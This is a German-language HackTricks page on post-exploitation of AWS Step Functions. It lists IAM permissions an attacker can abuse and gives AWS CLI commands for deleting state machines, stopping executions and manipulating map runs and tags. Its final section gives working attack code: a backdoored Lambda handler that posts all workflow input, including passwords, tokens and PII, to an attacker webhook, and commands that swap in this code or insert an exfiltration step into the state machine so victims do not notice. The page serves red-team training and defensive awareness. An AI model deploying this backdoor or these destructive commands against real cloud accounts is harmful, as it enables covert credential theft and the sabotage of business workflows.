AWS - Step Functions Post Exploitation

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Step Functions

Für weitere Informationen zu diesem AWS-Dienst, siehe:

AWS - Step Functions Enum

states:RevealSecrets

Diese Berechtigung ermöglicht es, geheime Daten innerhalb einer Ausführung offenzulegen. Dazu muss das Inspektionsniveau auf TRACE und der Parameter revealSecrets auf true gesetzt werden.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Ein Angreifer mit diesen Berechtigungen könnte in der Lage sein, Zustandsmaschinen, deren Versionen und Aliase dauerhaft zu löschen. Dies kann kritische Arbeitsabläufe stören, zu Datenverlust führen und erhebliche Zeit für die Wiederherstellung und Wiederherstellung der betroffenen Zustandsmaschinen erfordern. Darüber hinaus würde es einem Angreifer ermöglichen, die verwendeten Spuren zu verwischen, forensische Untersuchungen zu stören und möglicherweise den Betrieb zu lähmen, indem wesentliche Automatisierungsprozesse und Zustandskonfigurationen entfernt werden.

note

  • Wenn Sie eine Zustandsmaschine löschen, löschen Sie auch alle zugehörigen Versionen und Aliase.
  • Wenn Sie einen Alias einer Zustandsmaschine löschen, löschen Sie nicht die Versionen der Zustandsmaschine, die auf diesen Alias verweisen.
  • Es ist nicht möglich, eine Version einer Zustandsmaschine zu löschen, die derzeit von einem oder mehreren Aliasen referenziert wird.
bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Potenzielle Auswirkungen: Störung kritischer Arbeitsabläufe, Datenverlust und Betriebsunterbrechungen.

states:UpdateMapRun

Ein Angreifer mit dieser Berechtigung könnte die Konfiguration für das Scheitern von Map Runs und die parallele Einstellung manipulieren, indem er die maximale Anzahl der zulässigen Ausführungen von untergeordneten Arbeitsabläufen erhöhen oder verringern kann, was sich direkt auf die Leistung des Dienstes auswirkt. Darüber hinaus könnte ein Angreifer den tolerierten Prozentsatz und die Anzahl der Fehler manipulieren und diesen Wert auf 0 verringern, sodass jedes Mal, wenn ein Element fehlschlägt, der gesamte Map Run fehlschlägt, was sich direkt auf die Ausführung der Zustandsmaschine auswirkt und potenziell kritische Arbeitsabläufe stört.

bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Potenzielle Auswirkungen: Leistungsabfall und Störung kritischer Arbeitsabläufe.

states:StopExecution

Ein Angreifer mit dieser Berechtigung könnte in der Lage sein, die Ausführung einer beliebigen Zustandsmaschine zu stoppen, was laufende Arbeitsabläufe und Prozesse stören würde. Dies könnte zu unvollständigen Transaktionen, gestoppten Geschäftsabläufen und potenzieller Datenkorruption führen.

warning

Diese Aktion wird von express state machines nicht unterstützt.

bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Potenzielle Auswirkungen: Störung laufender Arbeitsabläufe, betriebliche Ausfallzeiten und potenzielle Datenkorruption.

states:TagResource, states:UntagResource

Ein Angreifer könnte Tags von Step Functions-Ressourcen hinzufügen, ändern oder entfernen, wodurch die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, gestört werden.

bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Potenzielle Auswirkungen: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien.


states:UpdateStateMachine, lambda:UpdateFunctionCode

Ein Angreifer, der einen Benutzer oder eine Rolle mit den folgenden Berechtigungen kompromittiert:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

...kann einen hochwirksamen und stealthy Post-Exploitation-Angriff durchführen, indem er Lambda-Backdooring mit der Manipulation der Step Function-Logik kombiniert.

Dieses Szenario geht davon aus, dass das Opfer AWS Step Functions verwendet, um Workflows zu orchestrieren, die sensible Eingaben verarbeiten, wie z.B. Anmeldeinformationen, Tokens oder PII.

Beispiel für einen Opferaufruf:

bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Wenn die Step Function so konfiguriert ist, dass sie eine Lambda wie LegitBusinessLogic aufruft, kann der Angreifer mit zwei heimlichen Angriffsvarianten fortfahren:


Aktualisierte die Lambda-Funktion

Der Angreifer ändert den Code der bereits von der Step Function verwendeten Lambda-Funktion (LegitBusinessLogic), um Eingabedaten heimlich zu exfiltrieren.

python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Fügen Sie einen bösartigen Zustand zur Step Function hinzu

Alternativ kann der Angreifer einen exfiltration state zu Beginn des Workflows injizieren, indem er die Definition der Step Function aktualisiert.

malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

Der Angreifer kann noch stealthier die Zustandsdefinition auf etwas wie das hier aktualisieren: { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } wo das Opfer den Unterschied nicht bemerkt


Opfer Setup (Kontext für den Exploit)

  • Eine Step Function (LegitStateMachine) wird verwendet, um sensible Benutzereingaben zu verarbeiten.
  • Sie ruft eine oder mehrere Lambda-Funktionen wie LegitBusinessLogic auf.

Potenzielle Auswirkungen:

  • Stille Exfiltration sensibler Daten, einschließlich Geheimnisse, Anmeldeinformationen, API-Schlüssel und PII.
  • Keine sichtbaren Fehler oder Ausfälle bei der Ausführung des Workflows.
  • Schwer zu erkennen, ohne den Lambda-Code oder Ausführungsprotokolle zu überprüfen.
  • Ermöglicht langfristige Persistenz, wenn die Hintertür im Code oder in der ASL-Logik bleibt.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks